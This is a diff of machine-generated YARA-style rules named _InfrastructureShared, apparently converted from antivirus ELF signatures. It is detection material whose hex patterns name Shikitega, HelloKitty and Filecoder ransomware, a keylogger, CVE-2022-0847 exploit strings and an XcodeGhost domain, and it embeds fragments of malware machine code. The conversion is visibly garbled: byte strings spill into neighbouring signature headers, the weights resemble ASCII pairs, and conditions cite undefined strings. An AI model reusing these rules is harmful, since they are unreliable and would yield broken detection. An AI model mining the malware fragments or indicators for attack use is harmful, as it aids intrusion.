65 6e 74 72 79 20 70 6f 69 6e 74 01 00 0d 01 74 79 70 65 5f 63 68 69 70 73 65 74 5f 01 00 10 01 73 68 65 6c 6c 63 6f 64 65 5f 69 6e 6a 65 63 74 01 00 0b 01 4b 49 4c 4c 45 52 5f 4d 41 49 4e 00 00 8c 2e 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 4f 53 2f 43 56 45 2d 32 30 32 32 2d 30 38 34 37 2e 41 00 02 } //17665 + $a_62_2 = {00 0b 01 5f 5a 38 72 63 65 5f 6d 61 69 6e 01 00 20 01 66 61 69 6c 65 64 20 63 6f 75 6e 74 69 6e 67 20 70 61 63 6b 61 67 65 73 20 77 69 74 68 20 70 6d 01 00 13 01 52 75 6e 6e 69 6e 67 20 6e 61 74 69 76 65 20 6d 61 69 6e 01 00 14 01 66 61 69 6c 65 64 20 72 75 6e 6e 69 6e 67 20 6d 65 72 73 75 00 00 8c 27 01 00 03 00 } //27680 + $a_00_3 = {21 23 54 45 } //3 !#TE + $a_72_4 = {6a 61 6e 3a 4c 69 6e 75 78 2f 53 68 69 6b 69 74 65 67 61 2e 41 21 4d 54 42 00 01 00 44 01 fd 7b b5 a9 e1 00 00 d0 20 20 0a 91 fd 03 00 91 f3 53 01 a9 00 0c 40 b9 33 44 41 f9 e2 00 00 b0 42 dc 47 f9 14 7c 7d 93 43 00 40 f9 e3 57 00 f9 03 00 80 d2 62 da } //14924 + $a_04_5 = {40 39 42 1c 01 51 5f cc 00 71 01 00 30 01 a2 00 80 52 21 00 00 f0 00 00 80 d2 21 40 1d 91 36 fd ff 97 e1 03 00 aa 60 6a 74 f8 f3 03 01 aa eb 0d 00 94 e1 03 00 aa e0 03 13 aa 2b fe ff 97 01 00 4c 01 } //-1952 + $a_02_7 = {44 41 f9 61 0c 40 b9 40 d8 61 f8 04 00 40 39 9f 84 00 71 81 01 00 54 04 04 40 39 44 01 00 35 25 7c 7d 93 21 08 00 11 42 00 05 8b 61 0c 00 b9 40 04 40 f9 00 00 40 39 1f 00 00 71 e0 17 9f 1a c0 03 5f d6 01 00 2c 01 a2 00 80 52 21 00 00 f0 00 00 80 d2 21 80 1e 91 3c fa ff 97 f3 03 00 aa a0 6a 78 f8 f2 0a 00 94 e1 03 00 aa e0 03 13 aa 32 fb ff 97 00 00 8c 2a 01 00 03 00 03 00 0a 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 4c 69 6e 75 } //2592 + $a_6f_8 = {6d 74 6f 77 6e 2e 43 21 64 68 61 00 02 00 16 01 6f 6e 65 73 68 6f 74 5f 70 65 5f 65 6e 74 72 79 5f 70 6f 69 6e 74 02 00 1d 01 6c 69 62 63 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 6f 76 65 72 77 72 } //12152 + $a_65_9 = {02 00 13 01 6f 6e 65 73 68 6f 74 5f 6c 69 62 63 5f 68 6f 6f 6b 65 72 02 00 1e 01 7a 79 67 6f 74 65 5f 66 69 72 73 74 5f 73 74 61 67 65 5f 69 6d 70 6c 61 6e 74 5f 70 69 63 02 00 19 01 73 65 6e 64 5f 6d 6d 61 70 5f 75 73 65 72 70 74 72 5f 72 65 71 75 65 73 74 02 00 1c 01 69 73 73 75 65 5f 6f 75 74 5f 6f 66 5f 62 6f 75 6e 64 5f 77 72 69 74 65 5f 6d } //29801 + $a_00_10 = {0d 01 } //28769 č condition: - ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27746+(#a_62_2 & 1)*27680+(#a_00_3 & 1)*3+(#a_3a_4 & 1)*26991+(#a_73_5 & 1)*29811+(#a_64_6 & 1)*267+(#a_72_7 & 1)*8292+(#a_65_8 & 1)*28265+(#a_00_9 & 1)*25970+(#a_70_10 & 1)*17665) >=3 + ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27746+(#a_62_2 & 1)*27680+(#a_00_3 & 1)*3+(#a_72_4 & 1)*14924+(#a_04_5 & 1)*-1952+(#a_02_7 & 1)*2592+(#a_6f_8 & 1)*12152+(#a_65_9 & 1)*29801+(#a_00_10 & 1)*28769) >=3 } -rule _InfrastructureShared_20932{ +rule _InfrastructureShared_22201{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 68 69 6b 69 74 65 67 61 2e 41 21 4d 54 42 00 01 00 44 01 fd 7b b5 a9 e1 00 00 d0 20 20 0a 91 fd 03 00 91 f3 53 01 a9 00 0c 40 b9 33 44 41 f9 e2 00 00 b0 42 dc 47 f9 } //21539 + $a_93_1 = {00 40 f9 e3 57 00 f9 03 00 80 d2 62 da 60 f8 42 04 40 39 42 1c 01 51 5f cc 00 71 01 00 30 01 a2 00 80 52 21 00 00 f0 00 00 80 d2 21 40 1d 91 36 fd ff 97 e1 03 00 aa 60 6a 74 f8 f3 03 01 aa eb 0d 00 94 e1 03 00 aa e0 03 13 aa 2b fe ff 97 01 00 4c 01 e0 00 00 d0 03 20 0a 91 02 44 41 f9 61 0c 40 b9 40 d8 61 f8 04 00 40 39 9f 84 00 71 81 01 00 54 04 04 40 39 44 01 00 35 25 7c } //31764 + $a_08_2 = {00 11 42 00 05 8b 61 0c 00 b9 40 04 40 f9 00 00 40 39 1f 00 00 71 e0 17 9f 1a c0 03 5f d6 01 00 2c } //-27779 + condition: + ((#a_4c_0 & 1)*21539+(#a_93_1 & 1)*31764+(#a_08_2 & 1)*-27779) >=3 + +} +rule _InfrastructureShared_22202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 0a 00 21 " @@ -275681,7 +291811,7 @@ rule _InfrastructureShared_20932{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28448+(#a_5f_2 & 1)*29801+(#a_74_3 & 1)*28524+(#a_65_5 & 1)*12033+(#a_6e_6 & 1)*8308+(#a_2d_7 & 1)*12848+(#a_40_8 & 1)*400+(#a_52_9 & 1)*400) >=3 } -rule _InfrastructureShared_20933{ +rule _InfrastructureShared_22203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 0b 00 21 " @@ -275700,7 +291830,7 @@ rule _InfrastructureShared_20933{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_6e_2 & 1)*25091+(#a_72_3 & 1)*25710+(#a_23_4 & 1)*3+(#a_00_5 & 1)*11831+(#a_23_6 & 1)*-18112+(#a_20_7 & 1)*28526+(#a_20_8 & 1)*29477+(#a_61_9 & 1)*29541) >=3 } -rule _InfrastructureShared_20934{ +rule _InfrastructureShared_22204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -275712,7 +291842,7 @@ rule _InfrastructureShared_20934{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*249+(#a_01_2 & 1)*-1728) >=3 } -rule _InfrastructureShared_20935{ +rule _InfrastructureShared_22205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 06 00 21 " @@ -275727,7 +291857,7 @@ rule _InfrastructureShared_20935{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*3328+(#a_3a_2 & 1)*27749+(#a_42_3 & 1)*1+(#a_01_4 & 1)*-29696+(#a_69_5 & 1)*28531) >=2 } -rule _InfrastructureShared_20936{ +rule _InfrastructureShared_22206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 0b 00 21 " @@ -275747,7 +291877,7 @@ rule _InfrastructureShared_20936{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*12146+(#a_20_2 & 1)*29806+(#a_4c_3 & 1)*18763+(#a_23_4 & 1)*6+(#a_ff_5 & 1)*805+(#a_90_6 & 1)*0+(#a_2e_7 & 1)*26977+(#a_77_8 & 1)*28260+(#a_6e_9 & 1)*14958+(#a_45_10 & 1)*20575) >=4 } -rule _InfrastructureShared_20937{ +rule _InfrastructureShared_22207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 06 00 21 " @@ -275761,7 +291891,7 @@ rule _InfrastructureShared_20937{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-31290+(#a_00_2 & 1)*400+(#a_90_3 & 1)*-31546+(#a_01_5 & 1)*9348) >=3 } -rule _InfrastructureShared_20938{ +rule _InfrastructureShared_22208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,08 00 08 00 0b 00 21 " @@ -275781,7 +291911,7 @@ rule _InfrastructureShared_20938{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*28265+(#a_65_2 & 1)*28788+(#a_01_3 & 1)*29537+(#a_61_4 & 1)*25633+(#a_65_5 & 1)*28530+(#a_72_6 & 1)*28257+(#a_75_7 & 1)*28261+(#a_69_8 & 1)*12147+(#a_73_9 & 1)*25965+(#a_52_10 & 1)*17480) >=8 } -rule _InfrastructureShared_20939{ +rule _InfrastructureShared_22209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " @@ -275794,7 +291924,7 @@ rule _InfrastructureShared_20939{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*21072+(#a_2f_2 & 1)*26723+(#a_64_3 & 1)*24878) >=2 } -rule _InfrastructureShared_20940{ +rule _InfrastructureShared_22210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 05 00 21 " @@ -275807,7 +291937,7 @@ rule _InfrastructureShared_20940{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*12135+(#a_01_2 & 1)*26414+(#a_00_3 & 1)*16012) >=3 } -rule _InfrastructureShared_20941{ +rule _InfrastructureShared_22211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 06 00 21 " @@ -275822,7 +291952,7 @@ rule _InfrastructureShared_20941{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25445+(#a_00_2 & 1)*29549+(#a_79_3 & 1)*21505+(#a_6c_4 & 1)*30789+(#a_75_5 & 1)*26988) >=3 } -rule _InfrastructureShared_20942{ +rule _InfrastructureShared_22212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 0c 00 21 " @@ -275841,7 +291971,7 @@ rule _InfrastructureShared_20942{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*24431+(#a_6c_2 & 1)*26232+(#a_67_3 & 1)*27497+(#a_74_4 & 1)*28528+(#a_75_6 & 1)*8285+(#a_01_7 & 1)*-29696+(#a_72_8 & 1)*30579+(#a_6d_9 & 1)*28271+(#a_72_11 & 1)*28784) >=3 } -rule _InfrastructureShared_20943{ +rule _InfrastructureShared_22213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 06 00 21 " @@ -275856,7 +291986,7 @@ rule _InfrastructureShared_20943{ ((#a_46_0 & 1)*21283+(#a_70_1 & 1)*23328+(#a_61_2 & 1)*29545+(#a_61_3 & 1)*29292+(#a_61_4 & 1)*27745+(#a_62_5 & 1)*29537) >=5 } -rule _InfrastructureShared_20944{ +rule _InfrastructureShared_22214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,11 00 11 00 1c 00 21 " @@ -275879,21 +292009,20 @@ rule _InfrastructureShared_20944{ $a_34_15 = {33 37 38 34 33 35 31 37 39 38 36 34 35 31 37 38 39 34 35 31 37 38 39 36 34 35 32 31 37 34 35 31 36 37 32 38 34 36 35 32 31 33 34 35 31 37 31 38 39 34 35 34 37 } //13879 37843517986451789451789645217451672846521345171894547 $a_35_16 = {32 31 37 36 34 31 32 33 36 35 34 31 32 36 37 35 31 34 32 37 32 31 34 35 36 37 31 38 01 00 67 00 34 33 38 37 32 39 36 33 34 31 32 39 38 36 37 34 32 37 38 36 34 37 31 32 38 } //13873 $a_37_17 = {32 38 30 39 34 31 36 32 38 30 39 34 31 32 36 38 30 31 34 32 36 37 34 32 38 30 31 36 34 37 32 30 39 31 34 32 36 37 32 31 30 31 32 34 36 37 39 31 34 36 38 37 34 31 } //13360 280941628094126801426742801647209142672101246791468741 - $a_34_18 = {38 32 34 31 38 30 39 36 37 34 32 31 38 39 00 00 8c 59 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 48 65 6c 6c } //12857 - $a_74_19 = {79 2e 42 21 4d 54 42 00 01 00 59 02 41 00 48 89 ef e8 90 01 01 e0 ff ff 48 85 c0 0f 85 c1 00 00 00 be 90 01 02 41 00 48 89 ef e8 90 01 01 e0 ff ff 48 85 c0 0f 85 ab 00 00 00 be 90 01 02 41 00 48 89 ef e8 90 01 01 e0 ff ff 48 85 c0 0f 85 95 00 00 00 48 89 df e8 90 01 01 0d 00 00 48 3d 00 01 00 00 90 00 01 00 4e 02 } //19311 - $a_44_20 = {e7 e8 90 01 01 fb ff ff 83 f8 ff 74 77 83 f8 65 74 63 7f 16 83 f8 63 74 3c 83 f8 64 75 da c7 05 90 01 02 21 00 01 00 00 00 eb ce 83 f8 6d 74 16 83 f8 76 74 35 83 f8 6b 75 bf c7 05 90 01 02 21 00 01 00 00 00 eb 30 90 00 01 00 7a 00 31 c0 81 fb 47 65 6e 75 0f 95 c0 41 89 c1 81 fa 69 6e 65 49 0f 95 c0 41 09 c1 81 f9 6e 74 65 6c 0f 95 c0 41 09 c1 0f 84 87 00 00 00 81 fb 41 75 74 68 0f 95 c0 41 89 c2 81 fa 65 6e 74 69 0f 95 c0 41 09 c2 81 f9 63 41 4d 44 0f 95 c0 41 09 c2 75 61 b8 00 00 00 80 0f a2 3d 01 00 00 80 72 53 41 89 c2 b8 01 00 00 80 0f a2 41 09 c9 41 81 e1 01 08 00 00 41 81 fa 08 00 00 00 00 8c 60 01 00 0a 00 0a 00 10 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4b 65 79 } //-30392 - $a_67_21 = {72 2e 47 21 64 68 61 00 01 00 14 01 3c 53 53 48 20 70 3d 25 64 20 75 3d 25 73 20 63 3d 25 63 3e 01 00 16 01 3c 53 53 48 20 70 3d 25 64 20 75 3d 25 73 20 63 3d 30 78 25 78 3e 01 00 0f 01 2f 70 72 6f 63 2f 25 64 2f 73 74 61 74 75 73 01 00 28 01 4f 70 65 6e 3a 20 74 72 61 6e 73 70 6f 72 74 20 6f 70 65 6e 20 66 } //28524 - $a_65_22 = {20 66 6f 72 20 25 73 2f 25 73 3a 25 73 01 00 25 01 4f 70 65 6e 3a 20 55 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 74 72 61 6e 73 70 6f 72 74 20 66 6f 72 20 25 73 01 00 0c 01 66 69 6e 64 66 69 6c 65 52 6f 6f 74 01 00 0c 01 66 69 6e 64 66 69 6c 65 55 73 65 72 01 00 09 01 77 6f 72 6c 64 64 69 72 73 01 00 08 01 68 6f 6d 65 64 } //26977 - $a_01_23 = {00 09 01 72 6f 6f 74 66 69 6c 65 7a 01 00 08 01 72 6f 6f 74 64 69 72 73 01 00 08 01 6c 6f 67 66 6e 61 6d 65 01 00 08 01 72 6f 6f 74 4d 6f 64 65 01 00 0a 01 67 65 74 43 75 72 55 73 65 72 01 00 0c 01 73 63 61 6e 5f 64 65 76 69 63 65 73 01 00 0a 01 64 6f 5f 63 61 70 74 75 72 65 00 00 8c 65 01 00 17 00 17 00 15 00 21 23 48 53 54 52 3a 4c 69 6e 75 } //29289 - $a_72_24 = {70 74 6f 72 41 50 49 53 74 72 69 6e 67 73 2e 41 00 14 00 07 00 6d 62 65 64 74 6c 73 01 00 0b 00 5f 61 65 73 5f 63 72 79 70 74 5f 01 00 0c 00 5f 61 65 73 5f 64 65 63 72 79 70 74 01 00 0c 00 5f 61 65 73 } //12152 - $a_63_25 = {79 70 74 01 00 09 00 5f 61 65 73 5f 66 72 65 65 01 00 09 00 5f 61 65 73 5f 69 6e 69 74 01 00 0c 00 5f 64 65 73 33 5f 63 72 79 70 74 5f 01 00 0a 00 5f 64 65 73 33 5f 69 6e 69 74 01 00 0b 00 5f 64 65 73 5f 63 72 79 70 74 5f 01 00 09 00 5f 64 65 73 5f 69 6e 69 74 01 00 09 00 5f 70 65 6d 5f 69 6e 69 74 01 00 0b 00 5f 70 6b 5f 64 65 } //25951 - $a_70_26 = {01 00 0b 00 5f 70 6b 5f 65 6e 63 72 79 70 74 01 00 08 00 5f 70 6b 5f 69 6e 69 74 01 00 0b 00 5f 72 73 61 5f 65 78 70 6f 72 74 01 00 0c 00 5f 72 73 61 5f 67 65 6e 5f 6b 65 79 01 00 0c 00 5f 72 73 61 5f 67 65 74 5f 6c 65 6e 01 00 0b 00 5f 72 73 61 5f 69 6d 70 6f 72 74 01 00 09 00 5f 72 73 61 5f 69 6e 69 74 01 00 12 00 5f 72 73 61 5f 70 6b 63 73 31 5f 64 65 63 72 } //29283 - $a_01_27 = {00 12 00 5f 72 73 61 5f 70 6b 63 73 31 5f 65 6e 63 72 79 70 74 00 00 8c 66 01 00 01 00 01 00 0d 00 21 23 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 58 63 6f 64 65 47 68 6f 73 74 21 64 6f 6d 61 69 6e 00 01 00 1f 00 68 74 74 70 3a 2f 2f 69 6e 69 74 2e 69 63 6c 6f 75 64 2d 61 6e 61 6c 79 73 69 73 2e 63 6f 6d 01 00 1e 00 68 74 74 70 3a 2f 2f 69 6e } //28793 + $a_34_18 = {38 32 34 31 38 30 39 36 37 34 32 31 38 39 00 00 8c 58 01 00 03 00 03 00 03 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 46 69 6c 65 } //12857 + $a_65_19 = {2e 41 45 21 4d 54 42 00 01 00 67 01 be 47 bb 40 00 31 c0 bf d8 b9 40 00 e8 44 1d 00 00 0f b6 3d fd f6 20 00 e8 88 42 00 00 bf 18 00 00 00 48 89 05 3c f7 20 00 e8 57 fa ff ff 4c 89 ef 48 89 c3 e8 4c fc ff ff 48 89 03 48 8b 05 12 f7 20 00 48 c7 43 08 00 00 00 00 48 89 43 10 48 89 18 48 83 c3 08 48 8b } //28515 + $a_20_20 = {48 89 1d f1 f6 20 00 48 85 c0 01 00 63 01 31 c0 be 59 bb 40 00 bf d8 b9 40 00 e8 44 1c 00 00 be 92 ba 40 00 bf 66 bb 40 00 e8 75 f9 ff ff 48 85 c0 48 89 c3 74 ae 80 3d 56 f5 20 00 00 75 a5 0f b7 15 ad f5 20 00 48 8b 3d 9e f5 20 00 48 89 c1 be 01 00 00 00 e8 79 fc ff ff 48 89 df e8 f1 fb ff ff eb 80 be e8 03 00 00 bf 01 00 00 00 45 31 ed 01 00 56 01 48 89 ea 44 89 e6 bf a0 15 61 00 66 89 05 ce f7 20 00 e8 19 39 00 00 80 3d c4 f7 20 00 00 0f 85 2d 02 00 00 bf a0 15 61 00 e8 a2 20 00 00 48 8b 7d 00 be 2f 00 00 00 e8 74 fc ff ff 4c 8d 68 01 bf 19 bb 40 00 31 c0 4c 89 ee e8 31 24 00 00 31 c0 bf 2a bb 40 00 00 00 8c 59 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 48 65 6c 6c 6f 4b 69 74 74 79 2e 42 } //-28667 + $a_42_21 = {01 00 59 02 41 00 48 89 ef e8 90 01 01 e0 ff ff 48 85 c0 0f 85 c1 00 00 00 be 90 01 02 41 00 48 89 ef e8 90 01 01 e0 ff ff 48 85 c0 0f 85 ab 00 00 00 be 90 01 02 41 00 48 89 ef e8 90 01 01 e0 ff ff 48 85 c0 0f 85 95 00 00 00 48 89 df e8 90 01 01 0d 00 } //19745 + $a_00_22 = {01 00 00 90 00 01 00 4e 02 48 89 ee 44 89 e7 e8 90 01 01 fb ff ff 83 f8 ff 74 77 83 f8 65 74 63 7f 16 83 f8 63 74 3c 83 f8 64 75 da c7 05 90 01 02 21 00 01 00 00 00 eb ce 83 f8 6d 74 } //18432 + $a_76_23 = {35 83 f8 6b 75 bf c7 05 90 01 02 21 00 01 00 00 00 eb 30 90 00 01 00 7a 00 31 c0 81 fb 47 65 6e 75 0f 95 c0 41 89 c1 81 fa 69 6e 65 49 0f 95 c0 41 09 c1 81 f9 6e 74 65 6c 0f 95 c0 41 09 c1 0f 84 87 00 00 00 81 fb 41 75 74 68 0f 95 c0 41 89 c2 81 fa 65 6e 74 69 0f 95 c0 41 09 c2 81 f9 63 41 4d 44 0f 95 c0 41 09 c2 75 61 b8 00 00 00 80 0f a2 3d 01 00 00 80 72 53 41 89 c2 b8 01 00 00 80 0f a2 41 09 c9 41 81 e1 01 08 00 00 41 81 fa 08 00 00 00 00 8c 60 01 00 0a 00 0a 00 10 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4b 65 79 6c 6f 67 67 65 72 2e 47 21 64 68 61 00 01 00 14 01 3c 53 53 48 20 70 3d 25 64 20 75 3d 25 73 20 63 3d 25 63 3e 01 00 16 01 3c 53 53 48 20 70 3d 25 64 20 75 3d 25 73 20 63 3d 30 78 25 78 } //-31978 + $a_72_25 = {63 2f 25 64 2f 73 74 61 74 75 73 01 00 28 01 4f 70 65 6e 3a 20 74 72 61 6e 73 70 6f 72 74 20 6f 70 65 6e 20 66 61 69 6c 65 64 20 66 6f 72 20 25 73 2f 25 73 3a 25 73 01 00 25 01 4f 70 65 6e 3a 20 55 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 74 72 61 6e 73 70 6f 72 74 20 66 6f 72 20 25 73 01 00 0c 01 66 69 6e 64 66 69 6c 65 52 6f 6f 74 } //12033 + $a_01_26 = {66 69 6e 64 66 69 6c 65 55 73 65 72 } //1 findfileUser + $a_01_27 = {77 6f 72 6c 64 64 69 72 73 } //1 worlddirs condition: - ((#a_6f_0 & 1)*19235+(#a_41_1 & 1)*9+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_53_14 & 1)*0+(#a_34_15 & 1)*13879+(#a_35_16 & 1)*13873+(#a_37_17 & 1)*13360+(#a_34_18 & 1)*12857+(#a_74_19 & 1)*19311+(#a_44_20 & 1)*-30392+(#a_67_21 & 1)*28524+(#a_65_22 & 1)*26977+(#a_01_23 & 1)*29289+(#a_72_24 & 1)*12152+(#a_63_25 & 1)*25951+(#a_70_26 & 1)*29283+(#a_01_27 & 1)*28793) >=17 + ((#a_6f_0 & 1)*19235+(#a_41_1 & 1)*9+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_53_14 & 1)*0+(#a_34_15 & 1)*13879+(#a_35_16 & 1)*13873+(#a_37_17 & 1)*13360+(#a_34_18 & 1)*12857+(#a_65_19 & 1)*28515+(#a_20_20 & 1)*-28667+(#a_42_21 & 1)*19745+(#a_00_22 & 1)*18432+(#a_76_23 & 1)*-31978+(#a_72_25 & 1)*12033+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1) >=17 } -rule _InfrastructureShared_20945{ +rule _InfrastructureShared_22215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 04 00 21 " @@ -275906,7 +292035,19 @@ rule _InfrastructureShared_20945{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*25202+(#a_35_2 & 1)*13873+(#a_37_3 & 1)*13360) >=5 } -rule _InfrastructureShared_20946{ +rule _InfrastructureShared_22216{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_4c_0 = {52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 46 69 6c 65 63 6f 64 65 72 2e 41 45 21 4d 54 42 00 01 00 67 01 be 47 bb 40 00 31 c0 bf d8 b9 40 00 e8 44 1d 00 00 0f b6 3d fd f6 20 00 e8 88 42 00 00 bf 18 00 00 00 48 } //21539 + $a_f7_1 = {00 e8 57 fa ff ff 4c 89 ef 48 89 c3 e8 4c fc ff ff 48 89 03 48 8b 05 12 f7 20 00 48 c7 43 08 00 00 00 00 48 89 43 10 48 89 18 48 83 c3 08 48 8b 05 90 f6 20 00 48 89 1d f1 f6 20 00 } //1417 + $a_01_2 = {00 63 01 31 c0 be 59 bb 40 00 bf d8 b9 40 00 e8 44 1c 00 00 be 92 ba 40 00 bf 66 bb 40 00 e8 75 f9 ff ff 48 85 c0 48 89 c3 74 ae 80 3d 56 f5 20 00 00 75 a5 0f b7 15 ad f5 20 00 48 8b 3d 9e f5 20 00 48 89 c1 be 01 00 00 00 e8 79 fc ff ff 48 89 df e8 f1 fb ff ff eb 80 be e8 03 00 00 bf 01 00 00 00 45 31 ed 01 00 56 01 48 89 ea 44 89 e6 bf a0 15 61 00 66 89 05 ce f7 20 00 e8 19 39 00 00 80 3d c4 f7 20 00 00 0f 85 2d 02 00 00 bf a0 15 61 00 e8 a2 20 00 00 48 8b 7d 00 be 2f 00 00 00 e8 74 fc ff ff 4c 8d 68 01 bf 19 bb 40 00 31 c0 4c 89 ee e8 31 24 00 00 31 c0 bf 2a bb 40 00 } //-31416 + condition: + ((#a_4c_0 & 1)*21539+(#a_f7_1 & 1)*1417+(#a_01_2 & 1)*-31416) >=3 + +} +rule _InfrastructureShared_22217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -275917,7 +292058,7 @@ rule _InfrastructureShared_20946{ ((#a_46_0 & 1)*16675+(#a_02_2 & 1)*-28482) >=3 } -rule _InfrastructureShared_20947{ +rule _InfrastructureShared_22218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 10 00 21 " @@ -275940,7 +292081,7 @@ rule _InfrastructureShared_20947{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*25376+(#a_25_2 & 1)*29477+(#a_66_3 & 1)*3072+(#a_6c_4 & 1)*26212+(#a_01_5 & 1)*25955+(#a_65_7 & 1)*24320+(#a_72_8 & 1)*25956+(#a_69_9 & 1)*26975+(#a_2d_10 & 1)*30063+(#a_00_12 & 1)*99+(#a_65_13 & 1)*11894+(#a_00_14 & 1)*9216+(#a_02_15 & 1)*-2016) >=10 } -rule _InfrastructureShared_20948{ +rule _InfrastructureShared_22219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,17 00 17 00 15 00 21 " @@ -275969,7 +292110,7 @@ rule _InfrastructureShared_20948{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29808+(#a_65_2 & 1)*24320+(#a_72_3 & 1)*25956+(#a_69_4 & 1)*26975+(#a_2d_5 & 1)*30063+(#a_00_7 & 1)*99+(#a_65_8 & 1)*11894+(#a_00_9 & 1)*9216+(#a_02_10 & 1)*-2016+(#a_99_11 & 1)*512+(#a_90_12 & 1)*21573+(#a_e5_13 & 1)*1+(#a_74_14 & 1)*30065+(#a_90_15 & 1)*13938+(#a_00_16 & 1)*37+(#a_4d_17 & 1)*14848+(#a_61_18 & 1)*26478+(#a_01_19 & 1)*-28672+(#a_4c_20 & 1)*21539) >=23 } -rule _InfrastructureShared_20949{ +rule _InfrastructureShared_22220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 0d 00 21 " @@ -275989,7 +292130,7 @@ rule _InfrastructureShared_20949{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26739+(#a_01_2 & 1)*28515+(#a_2e_3 & 1)*28257+(#a_23_4 & 1)*7+(#a_e0_6 & 1)*16932+(#a_bc_7 & 1)*9112+(#a_47_9 & 1)*3328+(#a_78_10 & 1)*1538+(#a_eb_11 & 1)*-255+(#a_90_12 & 1)*11568) >=1 } -rule _InfrastructureShared_20950{ +rule _InfrastructureShared_22221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 07 00 21 " @@ -276004,7 +292145,7 @@ rule _InfrastructureShared_20950{ ((#a_46_0 & 1)*16675+(#a_06_1 & 1)*3584+(#a_a2_2 & 1)*2552+(#a_e2_4 & 1)*4243+(#a_41_5 & 1)*11617+(#a_61_6 & 1)*11585) >=2 } -rule _InfrastructureShared_20951{ +rule _InfrastructureShared_22222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -276017,7 +292158,7 @@ rule _InfrastructureShared_20951{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*6544+(#a_2d_2 & 1)*31277+(#a_00_3 & 1)*144) >=5 } -rule _InfrastructureShared_20952{ +rule _InfrastructureShared_22223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 